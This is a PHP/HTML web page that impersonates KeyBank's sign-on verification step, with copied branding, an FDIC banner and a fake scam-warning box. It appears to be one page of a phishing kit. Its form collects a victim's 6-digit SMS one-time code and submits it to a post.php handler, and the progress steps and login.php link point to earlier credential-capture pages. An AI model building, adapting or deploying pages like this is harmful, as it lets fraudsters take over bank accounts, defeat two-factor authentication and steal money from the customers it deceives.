<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>KeyBank — Verify Identity</title>
    <style>
        *,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
        :root{--red:#CC0000;--red-dk:#aa0000;--teal:#006B77;--text:#111;--sub:#555;--border:#cdd0d4;--light:#EEF5F6;--white:#fff}
        html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
        body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}

        .top-header{background:var(--red);padding:0 24px;height:56px;display:flex;align-items:center;justify-content:space-between}
        .top-header .logo img{height:32px;width:auto;display:block;filter:brightness(0) invert(1)}
        .top-header-links{display:flex;align-items:center;gap:24px}
        .top-header-links a{font-size:13px;color:rgba(255,255,255,.9);text-decoration:none;font-weight:500}
        .fdic-bar{background:var(--white);border-bottom:1px solid #e0e0e0;padding:0 24px;height:30px;display:flex;align-items:center;gap:10px}
        .fdic-badge{background:#333;color:#fff;font-size:9px;font-weight:900;letter-spacing:.04em;padding:2px 5px;border-radius:2px;flex-shrink:0}
        .fdic-bar p{font-size:11px;color:#555;font-style:italic}

        .page-body{flex:1;background:var(--white);display:flex;justify-content:center;padding:48px 20px}
        .page-inner{width:100%;max-width:860px;display:flex;gap:48px;align-items:flex-start}
        .form-col{flex:1}

        .key-icon{margin-bottom:24px;text-align:center}
        .key-icon img{height:80px;width:auto;display:inline-block}

        .steps{display:flex;align-items:center;gap:8px;margin-bottom:24px}
        .st{display:flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
        .st.done{background:var(--teal);color:#fff}
        .st.active{background:var(--red);color:#fff;box-shadow:0 0 0 3px rgba(204,0,0,.2)}
        .sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
        .sl.done{background:var(--teal);opacity:.5}

        .form-title{font-size:18px;font-weight:600;color:var(--text);margin-bottom:6px}
        .form-sub{font-size:13px;color:var(--sub);margin-bottom:22px;line-height:1.5}

        .phone-badge{display:flex;align-items:center;gap:12px;background:var(--light);border:1px solid #b0d0d4;border-radius:4px;padding:13px 14px;margin-bottom:20px}
        .phone-icon{width:34px;height:34px;background:var(--teal);border-radius:4px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
        .phone-icon svg{color:#fff}
        .phone-txt{font-size:12.5px;color:var(--sub);line-height:1.5}
        .phone-txt strong{display:block;font-size:13px;color:var(--text);font-weight:700;margin-bottom:1px}

        .otp-lbl{font-size:12px;font-weight:700;color:var(--sub);margin-bottom:12px;letter-spacing:.06em;text-transform:uppercase}
        .otp-row{display:flex;gap:8px;margin-bottom:12px}
        .otp-row input{width:54px;height:58px;border:1.5px solid var(--border);border-radius:3px;font-size:26px;font-weight:700;color:var(--red);text-align:center;background:#fff;outline:none;transition:border-color .15s,box-shadow .15s;caret-color:var(--red);-webkit-appearance:none;font-family:'Inter',sans-serif}
        .otp-row input:focus{border-color:var(--teal);box-shadow:0 0 0 3px rgba(0,107,119,.12)}
        .otp-row input.filled{border-color:var(--teal);background:var(--light)}

        .resend-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;margin-top:8px}
        .resend-timer{font-size:12.5px;color:var(--sub);display:flex;align-items:center;gap:5px}
        .resend-timer span{font-weight:700;color:var(--teal);min-width:32px}
        .resend-btn{font-size:13px;color:var(--teal);font-weight:600;background:none;border:none;cursor:pointer;text-decoration:underline;font-family:'Inter',sans-serif;padding:0}
        .resend-btn:disabled{color:var(--sub);text-decoration:none;cursor:default;opacity:.6}

        .btn-submit{width:100%;height:50px;background:var(--red);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:16px;font-weight:700;cursor:pointer;display:flex;align-items:center;justify-content:center;gap:10px;transition:background .15s;margin-bottom:14px}
        .btn-submit:hover{background:var(--red-dk)}
        .back-link{display:flex;align-items:center;gap:6px;font-size:13px;color:var(--teal);text-decoration:none}
        .back-link:hover{text-decoration:underline}
        .spinner{height:22px;display:none}

        .notice-col{width:260px;flex-shrink:0}
        .scam-notice{background:var(--light);border:1px solid #b0d0d4;border-radius:4px;padding:20px 18px}
        .scam-notice-hdr{display:flex;align-items:center;gap:8px;margin-bottom:10px}
        .scam-notice-hdr svg{color:var(--teal);flex-shrink:0}
        .scam-notice-hdr strong{font-size:15px;font-weight:700;color:var(--text)}
        .scam-notice p{font-size:12.5px;color:#333;line-height:1.65;margin-bottom:14px}
        .btn-learn-more{padding:8px 18px;border:2px solid var(--teal);border-radius:3px;background:transparent;color:var(--teal);font-family:'Inter',sans-serif;font-size:13px;font-weight:600;cursor:pointer}
        .btn-learn-more:hover{background:var(--teal);color:#fff}

        .page-footer{background:#333;padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
        .footer-links{display:flex;gap:20px}
        .footer-links a{font-size:12px;color:rgba(255,255,255,.55);text-decoration:none}
        .footer-copy{font-size:12px;color:rgba(255,255,255,.3)}

        @media(max-width:700px){.page-inner{flex-direction:column}.notice-col{width:100%}.otp-row input{width:44px;height:50px;font-size:22px}.top-header-links{display:none}}
    </style>
</head>
<body>
    <div class="top-header">
        <div class="logo"><img src="res/img/logo.svg" alt="KeyBank"></div>
        <div class="top-header-links"><a href="#">Contact Us</a><a href="#">Open a New Account</a></div>
    </div>
    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        <p>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</p>
    </div>

    <div class="page-body">
        <div class="page-inner">
            <div class="form-col">
                <div class="key-icon"><img src="res/img/key-logo.svg" alt="KeyBank Key"></div>
                <div class="steps">
                    <div class="st done">✓</div><div class="sl done"></div>
                    <div class="st done">✓</div><div class="sl done"></div>
                    <div class="st active">3</div>
                </div>
                <div class="form-title">Enter Verification Code</div>
                <div class="form-sub">We sent a 6-digit code to your registered phone number.</div>
                <div class="phone-badge">
                    <div class="phone-icon"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18" stroke-width="2.5"/></svg></div>
                    <div class="phone-txt"><strong>SMS Code Sent</strong>Code sent to the number ending in ••••</div>
                </div>
                <form action="post.php" method="post" id="sms-form">
                    <div class="otp-lbl">Enter 6-digit access code</div>
                    <div class="otp-row">
                        <input type="text" name="c1" id="c1" maxlength="1" inputmode="numeric" autocomplete="one-time-code" pattern="[0-9]">
                        <input type="text" name="c2" id="c2" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c3" id="c3" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c4" id="c4" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c5" id="c5" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c6" id="c6" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    </div>
                    <input type="hidden" name="otp" id="sms_combined">
                    <div class="resend-row">
                        <div class="resend-timer"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>Expires in <span id="exp-timer">9:59</span></div>
                        <button type="button" class="resend-btn" id="resend-btn" disabled>Resend code</button>
                    </div>
                    <button type="submit" class="btn-submit" id="sms-btn">
                        <span id="sms-text">Verify &amp; Continue</span>
                        <img id="sms-spinner" class="spinner" src="res/img/web_logo_page_loader.gif" alt="Loading">
                    </button>
                </form>
                <a href="login.php" class="back-link">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><polyline points="15 18 9 12 15 6"/></svg>
                    Back to Sign On
                </a>
            </div>
            <div class="notice-col">
                <div class="scam-notice">
                    <div class="scam-notice-hdr">
                        <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                        <strong>Avoid Common Scams</strong>
                    </div>
                    <p>KeyBank will never send a link via text or call you unsolicited and ask you to read an access code. Do not click links or share sensitive information. Verify the request immediately by contacting a known KeyBank number.</p>
                    <button class="btn-learn-more">Learn more</button>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 KeyCorp. Member FDIC.</div>
    </footer>
    <script>
        const boxes=Array.from(document.querySelectorAll('.otp-row input'));
        const combined=document.getElementById('sms_combined');
        boxes.forEach((box,i)=>{
            box.addEventListener('input',()=>{box.value=box.value.replace(/[^0-9]/g,'').slice(-1);box.classList.toggle('filled',box.value!=='');combined.value=boxes.map(b=>b.value).join('');if(box.value&&i<boxes.length-1)boxes[i+1].focus();});
            box.addEventListener('keydown',e=>{if(e.key==='Backspace'&&!box.value&&i>0){boxes[i-1].value='';boxes[i-1].classList.remove('filled');boxes[i-1].focus();}});
            box.addEventListener('paste',e=>{e.preventDefault();const p=(e.clipboardData||window.clipboardData).getData('text').replace(/[^0-9]/g,'').slice(0,6);p.split('').forEach((ch,j)=>{if(boxes[j]){boxes[j].value=ch;boxes[j].classList.add('filled');}});combined.value=boxes.map(b=>b.value).join('');boxes[Math.min(p.length,boxes.length-1)].focus();});
        });
        let expSec=599,resendAt=30;
        const expEl=document.getElementById('exp-timer'),resendBtn=document.getElementById('resend-btn');
        const iv=setInterval(()=>{expSec--;resendAt=Math.max(0,resendAt-1);if(resendAt===0)resendBtn.disabled=false;const m=Math.floor(expSec/60),s=expSec%60;expEl.textContent=m+':'+String(s).padStart(2,'0');if(expSec<=0){clearInterval(iv);expEl.textContent='0:00';}},1000);
        resendBtn.addEventListener('click',()=>{resendBtn.disabled=true;resendAt=30;expSec=599;boxes.forEach(b=>{b.value='';b.classList.remove('filled');});combined.value='';boxes[0].focus();});
        document.getElementById('sms-form').addEventListener('submit',function(){
            document.getElementById('kb-loader-overlay').style.display='flex';
        });
    </script>
    <div id="kb-loader-overlay" style="display:none;position:fixed;inset:0;background:rgba(255,255,255,0.92);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:16px;">
        <img src="res/img/web_logo_page_loader.gif" alt="Loading" style="width:72px;height:72px;">
        <p style="font-size:15px;font-weight:600;color:#333;font-family:'Inter',sans-serif;">Verifying your code...</p>
    </div>
</body>
</html>